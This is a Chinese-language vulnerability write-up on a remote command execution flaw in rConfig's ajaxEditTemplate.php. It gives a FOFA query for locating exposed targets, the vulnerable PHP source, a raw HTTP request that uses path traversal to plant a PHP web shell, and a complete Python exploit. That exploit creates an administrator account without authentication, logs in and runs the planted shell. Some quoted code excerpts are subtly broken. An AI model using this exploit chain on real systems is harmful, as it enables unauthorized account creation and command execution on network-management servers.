# rConfig ajaxEditTemplate.php 后台远程命令执行漏洞
## 漏洞描述
rConfig ajaxEditTemplate.php 存在后台远程命令执行
## 漏洞影响
> [!NOTE]
>
> rConfig
## FOFA
> [!NOTE]
>
> app="rConfig"
## 漏洞复现
漏洞文件为 **rconfig/www/lib/ajaxHandlers/ajaxEditTemplate.php**
```php
<?php
require_once("/home/rconfig/classes/usersession.class.php");
require_once("/home/rconfig/classes/ADLog.class.php");
require_once("/home/rconfig/classes/spyc.class.php");
require_once("/home/rconfig/config/functions.inc.php");
$log = ADLog::getInstance();
if (!$session->logged_in) {
echo 'Don\'t bother trying to hack me!!!!!<br /> This hack attempt has been logged';
$log->Warn("Security Issue: Some tried to access this file directly from IP: " . $_SERVER['REMOTE_ADDR'] . " & Username: " . $session->username . " (File: " . $_SERVER['PHP_SELF'] . ")");
// need to add authentication to this script
header("Location: " . $config_basedir . "login.php");
} else {
$ymlData = Spyc::YAMLLoad($_POST['code']);
$fileName = $_POST['fileName'];
$check_yml_extension = explode('.', $fileName);
if(@!array_key_exists($check_yml_extension[1])){
if(@$check_yml_extension[1] != 'yml'){
$fileName = $fileName . '.yml';
}
}
$fullpath = $config_templates_basedir.$fileName;
$username = $_SESSION['username'];
require_once("../../../classes/db2.class.php");
require_once("../../../classes/ADLog.class.php");
$db2 = new db2();
$log = ADLog::getInstance();
if (!is_dir('templates')) {
mkdir('templates');
chown('templates', 'apache');
}
// if'' to create the filename based on the command if not created & chmod to 666
if (!file_exists($fullpath)) {
exec("touch " . $fullpath);
chmod($fullpath, 0666);
}
// if the file is alread in place chmod it to 666 before writing info
chmod($fullpath, 0666);
// dump array into file & chmod back to RO
$filehandle = fopen($fullpath, 'w+');
file_put_contents($fullpath, $_POST['code']);
fclose($filehandle);
chmod($fullpath, 0444);
$db2->query("UPDATE `templates` SET `fileName` = :fileName, `name` = :name, `desc` = :desc, `dateLastEdit` = NOW(), `addedby` = :username WHERE `id` = :id");
$db2->bind(':id', $_POST['id']);
$db2->bind(':fileName', $fullpath);
$db2->bind(':name', $ymlData['main']['name']);
$db2->bind(':desc', $ymlData['main']['desc']);
$db2->bind(':username', $username);
$queryResult = $db2->execute();
/* Update successful */
if ($queryResult && file_exists($fullpath)) {
$response = "success";
$log->Info("Success: Template: ".$fullpath." edited in templates folder");
}
/* Update failed */ else {
$response = "failed";
$log->Warn("Success: Could not edit Template ".$fullpath." in templates folder");
}
echo json_encode($response);
} // end session check
```
关键代码如下
```php
// if'' to create the filename based on the command if not created & chmod to 666
if (!file_exists($fullpath)) {
exec("touch " . $fullpath);
chmod($fullpath, 0666);
}
// if the file is alread in place chmod it to 666 before writing info
chmod($fullpath, 0666);
// dump array into file & chmod back to RO
$filehandle = fopen($fullpath, 'w+');
file_put_contents($fullpath, $_POST['code']);
fclose($filehandle);
chmod($fullpath, 0444;
```
$fileName --> $fullpath ---> 写入文件，其中 fileName参数 POST传入时没有过滤导致目录可上传任意位置
```php
$ymlData = Spyc::YAMLLoad($_POST['code']);
$fileName = $_POST['fileName'];
$check_yml_extension = explode('.', $fileName);
if(@!array_key_exists($check_yml_extension[1])){
if(@$check_yml_extension[1] != 'yml'){
$fileName = $fileName . '.yml';
}
}
$fullpath = $config_templates_basedir+ .$fileName;
```
```php
$filehandle = fopen($fullpath, 'w+');
file_put_contents($fullpath, $_POST['code']);
```
POST code 传参写入文件 pq.php.yml, 请求包如下
```
POST /lib/ajaxHandlers/ajaxEditTemplate.php HTTP/1.1
Host:
Cookie: PHPSESSID=fv8j4c6r4gofug1vr9v3efdvj7
Content-Length: 81
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Origin: https://176.62.195.243
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://176.62.195.243/lib/ajaxHandlers/ajaxEditTemplate.php
fileName=../www/pq.php&code=<?php echo system('id');?>&id=1
```
这里写入文件 **pq.php.yml**,并使用 **../** 跳出限制的目录，访问 pq.php.yml 实际访问了 pq.php，执行id命令
## 漏洞POC
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_toolbelt.multipart.encoder import MultipartEncoder
def POC_1(target_url):
vuln_url = target_url + "/lib/crud/userprocess.php"
referer = target_url + "useradmin.php"
ran_number = random.randint(1, 999)
origin = target_url
multipart_data = MultipartEncoder(
fields={
'username': 'pqtest{}'.format(ran_number),
'password': 'PQtest@{}'.format(ran_number),
'passconf': 'PQtest@{}'.format(ran_number),
'email': 'PQtest{}@test.com'.format(ran_number),
'ulevelid': '9',
'add': 'add',
'editid': ''
}
)
headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer,
"Origin": origin}
cookies = {'PHPSESSID': 'test'}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(vuln_url, data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
if "error" not in response.text:
username = 'pqtest{}'.format(ran_number)
password = 'PQtest@{}'.format(ran_number)
print("\033[36m[o] 成功创建账户 pqtest{}/PQtest@{} \033[0m".format(ran_number, ran_number))
POC_2(target_url, username, password)
else:
print("\033[31m[x] 创建失败:{} \033[0m")
except Exception as e:
print("\033[31m[x] 请求失败:{} \033[0m".format(e))
sys.exit(0)
def POC_2(target_url, username, password):
print("\033[36m[o] 正在登陆账户..... \033[0m")
vuln_url = target_url + "/lib/crud/userprocess.php"
headers = {
'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8",
"Referer": target_url + "deviceConnTemplates.php",
"Origin": target_url,
"X-Requested-With": "XMLHttpRequest",
"Accept-Language": "en-US,en;q=0.5"
}
data = {
'user': username,
'pass': password,
'sublogin': '1'
}
try:
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
print("\033[36m[o] 正在尝试执行 id....\033[0m")
with requests.Session() as s:
p = s.post(target_url + '/lib/crud/userprocess.php', data=data, verify=False)
if "Stephen Stack" in p.text:
print("\033[31m[x] 登录失败 \033[0m")
else:
data = "fileName=..%2Fwww%2Fpq.php&code=%3C%3Fphp+echo+system%28%27id%27%29%3B%3F%3E&id=1"
rce = s.post(target_url + '/lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=data,
headers=headers)
if "success" in rce.text:
response = s.get(target_url + '/pq.php.yml', verify=False)
print("\033[36m[o] 成功执行 id, 响应为:\n{} \033[0m".format(response.text))
else:
print("\033[31m[x] 请求失败 \033[0m")
except Exception as e:
print("\033[31m[x] 请求失败:{} \033[0m".format(e))
sys.exit(0)
if __name__ == '__main__':
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
```